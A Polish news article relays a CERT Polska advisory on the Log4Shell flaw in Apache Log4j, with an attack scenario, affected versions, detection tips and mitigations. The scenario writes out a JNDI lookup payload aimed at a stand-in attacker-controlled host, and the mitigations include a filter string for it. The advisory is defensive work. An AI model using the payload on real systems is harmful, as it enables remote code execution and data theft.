CERT Polska ostrzega przed krytyczną podatnością. „Jej wykorzystanie jest bardzo proste”

Specjaliści CERT Polska, należącego do NASK, ostrzegają przed krytyczną podatnością CVE-2021-44228 (Log4Shell), którą znaleziono w bibliotece Apache Log4j. Eksperci tłumaczą, że „biblioteka ta jest jedną z najczęściej używanych bibliotek do logowania zdarzeń, wykorzystywanych przez aplikacje napisane w języku Java". Korzysta z niej wiele komercyjnych aplikacji. Z tego względu ryzyko związane z tą konkretną podatnością należy oceniać jako wysokie. 

Zagrożenie jest poważne, ponieważ luka umożliwia zdalne wykonanie kodu z uprawnieniami danej aplikacji, np. webservera używającego Log4j. Specjaliści podkreślają, że wykorzystanie tej konkretnej podatności nie jest wymagające, lecz wręcz przeciwnie -- bardzo proste. W sieci można znaleźć konkretne przykłady jak to zrobić. 

CERT Polska opisuje przykładowy scenariusz cyberataku, który jest możliwy dzięki tej podatności. 

1. Aplikacja loguje zdarzenia z wykorzystaniem biblioteki Apache Log4j, np. niepoprawne logowania użytkownika, zapisując wartości kontrolowane przez użytkownika, jak login czy email,
2. Atakujący próbuje się zalogować, jako nazwę użytkownika podając złośliwy payload, np.: ${jndi:ldap://sample\_domain.com/a} (gdzie sample\_domain.com jest serwerem, kontrolowanym przez atakującego),
3.  Luka w log4j jest wywoływana przez payload, a serwer wysyła żądanie do attacker\_domain.com poprzez "Java Naming and Directory Interface" (JNDI),
4. Odpowiedź zawiera ścieżkę do zdalnego pliku klasy Java (np. http://test.sample\_domain.com/Exploit.class), który jest wstrzykiwany do procesu serwera,
5. Wstrzyknięty payload pozwala atakującemu na wykonanie dowolnego kodu.

W tym miejscu warto podkreślić, że zdaniem ekspertów wektor ataku nie ogranicza się do aplikacji webowych. „ Podatne mogą być wszystkie aplikacje korzystające z biblioteki Apache Log4j, jeśli zapisują w logach wartości kontrolowane przez użytkownika. Przykładowo, jeśli przetwarzane są nagłówki maila, czy zapytań DNS w aplikacji korzystającej z tej biblioteki, to taki system również może być podatny" -- tłumaczą specjaliści. 

Czego dotyczy problem?

Luka, o której jest mowa występuje niezależnie od wykorzystywanej wersji Java Development Kit (JDK). „Prawdą jest, że w wersjach wyższych niż 6u211, 7u201, 8u191, oraz 11.0.1 trudniej jest osiądnąć zdalne wykonanie kodu, jednak nadal jest to możliwe. Dodatkowo niezależnie od wersji JDK, możliwa jest kradzież wybranych danych np. zmiennych środowiskowych poprzez przesłanie ich jako fragment zapytania do serwera DNS kontrolowanego przez atakującego" -- wskazuje CERT Polska. 

Specjaliści podają, że podatność dotyczy biblioteki Apache Log4j w wersjach od 2.0 do 2.14.1 włącznie. Obecnie nie wiadomo czy starsza wersja 1.0 również posiada lukę. Jednak nie jest ona aktualizowana od lat. W związku z tym należy przyjąć, że wykorzystanie również tej konkretnej wersji biblioteki wiąże się z dużym ryzykiem. 

Sprawdź, czy wszystko jest w porządku

„Z biblioteki korzystają m.in. takie rozwiązania jak Apache Struts2, Apache Solr, Apache Druid, Apache Flink, Elasticsearch, Kafka, czy Graylog. Jeśli są one wykorzystywane w ramach naszej aplikacji, to również może występować ta podatność. Aplikacje na platformę Android korzystające z biblioteki Apache Log4j nie są podatne" -- tłumaczą eksperci CERT Polska. Jak dodają, wiele produktów wydało już własne rekomendacje i ostrzeżenia. Można je znaleźć na m.in. stronach producentów. 

„W przypadku wątpliwości, czy biblioteka Apache Log4j jest wykorzystywana, można poszukać plików o nazwie log4j-core-\*.jar, a następnie sprawdzić czy są one wykorzystywane, np. na systemie Linux poleceniem lsof .jar;" -- wskazują specjaliści. Z kolei, jeśli chodzi o dostęp do źródeł aplikacji, przydatna może okazać się weryfikacja jej zależności pod kątem obecności wersji z luką np. w pliku pom.xml, w momencie, gdy do tworzenia używany jest Apache Maven. 

Ponadto, występowanie podatności można testować w kontrolowanym środowisku poprzez próbę jej wykorzystania. „Należy jednak mieć na uwadze, że w takim wypadku nie wszystkie wektory wejściowe mogą zostać pokryte. Dodatkowo należy uważać z wykorzystaniem publicznych serwisów zewnętrznych, umożliwiających wygenerowanie domeny i otrzymanie powiadomienia, gdy przyjdzie o nią zapytanie. Takie serwisy mogą zapisywać informacje o podatnych serwerach" -- twierdzi CERT Polska. 

Eksperci informują, że pojawiły się hashe plików podatnych wersji biblioteki. „Można skorzystać z nich do poszukiwania biblioteki na administrowanych systemach. Należy jednak pamiętać, że nie zawsze biblioteka musi być dystrybuowana w formie oddzielnego pliku JAR" -- podkreślają.

Co warto zrobić?

Specjaliści wydali również szereg rekomendacji dotyczących podatności. Wskazują w nich na:

1. W przypadku wykorzystywania zewnętrznego oprogramowania korzystającego z biblioteki Apache Log4j, należy dokonać aktualizacji oprogramowania do wersji łatającej błąd, gdy zostanie ona wydana.
2. Jeśli niemożliwa jest aktualizacja, a aplikacja wykorzystuje wersję 2.10.0 wzwyż, należy uruchomić JVM z argumentem: -Dlog4j2.formatMsgNoLookups=true. Sposób dodawania dodatkowych argumentów dla JVM może zależeć od aplikacji.
3. Jeśli niemożliwa jest aktualizacja, a aplikacja wykorzystuje wersję starszą niż 2.10.0 można dokonać ręcznej modyfikacji biblioteki. Jedną z metod zalecanych przez Apache jest usunięcie z niej klasy JndiLookup, np. poleceniem zip -q -d log4j-core-\*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
4. Jeśli mamy możliwość modyfikacji zależności aplikacji, należy zaktualizować bibliotekę Apache Log4j do wersji 2.15.0. UWAGA: poprzednia aktualizacja 2.15.0-rc1 nie naprawiała błędu w pełni.
5. Przed wdrożeniem rekomendacji na produkcji należy przeprowadzić testy w środowisku testowym.
6. Należy do niezbędnego minimum ograniczyć ruch wyjściowy z serwerów, na których wykorzystywana jest biblioteka.
7. Należy filtrować ruch wejściowy do systemów, które mogą korzystać z biblioteki. Minimalnie pod kątem wystąpienia ciągu znaków ${jndi:, a preferencyjnie korzystając z aktualizowanego zestawu reguł dostawcy systemu WAF/IDS/IPS/WebProxy. 
8. Aktualizacja 11.12.2021: Mimo że obecnie obserwowane przez nas ataki korzystają z podanego ciągu znaków, to pojawiły się informacje o możliwości jego obfuskacji i prawdopodobne są kolejne warianty. Należy się spodziewać, że zostanie to w szybkim czasie wykorzystane przez atakujących. Podkreślamy, że filtrowanie ruchu powinno być tylko dodatkiem, nie strategią obrony samą w sobie.

Jak dodają, konieczne jest przejrzenie i monitorowanie logów generowanych przez Log4j pod kątem wystąpień zdarzeń mogących mieć związek z wykorzystaniem podatności. „Odpowiednie komendy i reguły Yara można znaleźć pod linkiem: https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b. Należy mieć na uwadze, że pojawia się coraz więcej wariantów payloadu, które mogą być nie wykrywane przez wspomniane komendy" -- twierdzą eksperci CERT Polska. 

Eksperci wskazują, że stworzono specjalne narzędzie, które pozwala na łatwiejsze przeglądanie logów w celu poszukiwania prób użycia luki, uwzględniając przy tym wersje obfuskowane. 

Ponadto, warto przeglądać i monitorować wszystkie połączenia wychodzące z systemów korzystających z Log4j. W przypadku wykrycia incydentu należy zgłosić się do CERT Polska.

Chcemy być także bliżej Państwa - czytelników. Dlatego, jeśli są sprawy, które Was nurtują; pytania, na które nie znacie odpowiedzi; tematy, o których trzeba napisać - zapraszamy do kontaktu. Piszcie do nas na: [email protected]. Przyszłość przynosi zmiany. Wprowadzamy je pod hasłem #CyberIsFuture.